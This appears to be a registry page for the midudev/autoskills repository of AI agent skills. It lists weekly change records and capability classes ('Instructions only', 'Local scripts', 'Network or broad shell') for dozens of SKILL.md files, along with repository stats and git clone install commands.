Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/remotion-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/review-migration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/ruby/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/ruby-on-rails-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/rust-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/sandbox-stable/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/scikit-learn/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/security-check/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/senior-data-scientist/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/seo/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/shadcn/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/sqlalchemy/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/sqlalchemy-alembic-expert-best-practices-code-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/stripe-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/supabase-postgres-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/svelte-code-writer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/svelte5-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/swift-concurrency/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/swift-testing-expert/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/swiftui-expert-skill/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/tailwind-css-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/tailwind-v4-shadcn/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/tanstack-start/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/tauri-v2/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/terraform-module-library/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/terraform-stacks/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/terraform-style-guide/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/test-driven-development/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/test-service/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/threejs-animation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/threejs-fundamentals/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/threejs-geometry/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/threejs-interaction/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/threejs-lighting/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/threejs-loaders/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/threejs-materials/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/threejs-postprocessing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/threejs-shaders/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/threejs-textures/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/triage-bug/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/turborepo/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/twoFactor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/typescript-advanced-types/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/upgrade-stripe/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/use-ai-sdk/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/vite/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/vitest/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/vue/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/vue-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/vue-debug-guides/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/vue-pinia-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/web-perf/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/wordpress-router/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/workers-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/wp-block-development/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/wp-block-themes/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/wp-performance/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/wp-plugin-development/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/wp-project-triage/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/wp-rest-api/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/wp-wpcli-and-ops/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/wrangler/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/xcode-build-orchestrator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/zod/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 077b6ea6d747b3f392314bc47e7bb5285f1159b1

git clone --filter=blob:none --no-checkout https://github.com/midudev/autoskills.git .hotskills/midudev-autoskills && git -C .hotskills/midudev-autoskills checkout --detach 077b6ea6d747b3f392314bc47e7bb5285f1159b1 # Copy each selected skill directory from .hotskills/midudev-autoskills into .agents/skills/<skill-name>/
git clone --filter=blob:none --no-checkout https://github.com/midudev/autoskills.git .hotskills/midudev-autoskills && git -C .hotskills/midudev-autoskills checkout --detach 077b6ea6d747b3f392314bc47e7bb5285f1159b1 # Copy each selected skill directory from .hotskills/midudev-autoskills into .opencode/skills/<skill-name>/
7kGitHub stars
10stars in 7 days
207skills in this repository
24commits in 30 days

Heat

4.2
  • Star growth, last 7 daysAhead of 51% of tracked repositories
  • Star growth, last 24 hoursAhead of 5% of tracked repositories
  • Rank movement, last 7 daysAhead of 57% of tracked repositories
  • Commits, last 30 daysAhead of 85% of tracked repositories
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekAhead of 0% of tracked repositories

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Aug 2, 2026Nov 5, 20266,989

Individual skills in this repository

How it works

accessibility

When your agent uses it

Audit and improve web accessibility following WCAG 2.2 guidelines. Use when asked to "improve accessibility", "a11y audit", "WCAG compliance", "screen reader support", "keyboard navigation", or "make accessible".

What it loads into context

Frontmatter

76 tokens

Always available to the agent

SKILL.md

3,619 tokens

When the skill is activated

Reference documents

4,004 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Evidence-led audit workflow
  2. WCAG Principles: POUR
  3. Conformance levels
  4. Perceivable
  5. Operable
  6. Understandable
  7. Robust
  8. Testing checklist
  9. Common issues by impact
  10. References

Files

  • SKILL.mdcore14,358 bytes
  • SKILL.mdcore14,358 bytes
  • SKILL.mdcore14,358 bytes
  • SKILL.mdcore14,358 bytes
  • references/A11Y-PATTERNS.mddoc6,036 bytes
  • references/WCAG.mddoc9,079 bytes

No excerpt is shown for this license. Read the source on GitHub.

View the complete source on GitHub

Skills included

  • accessibility
  • adev-writing-guide
  • agents-sdk
  • android-architecture-clean
  • android-compose-foundations
  • android-coroutines-flow
  • android-di-hilt
  • android-gradle-build-logic
  • android-kotlin-core
  • android-networking-retrofit-okhttp
  • android-testing-unit
  • angular-developer
  • apply-stack-conventions
  • aspnet-core
  • aspnet-minimal-api-openapi
  • astro
  • azure-ai
  • azure-deploy
  • azure-diagnostics
  • bash-defensive-patterns
  • better-auth-best-practices
  • bun
  • chrome-extension-development
  • clerk
  • clerk-android
  • clerk-astro-patterns
  • clerk-backend-api
  • clerk-chrome-extension-patterns
  • clerk-custom-ui
  • clerk-expo
  • clerk-nextjs-patterns
  • clerk-nuxt-patterns
  • clerk-orgs
  • clerk-react-patterns
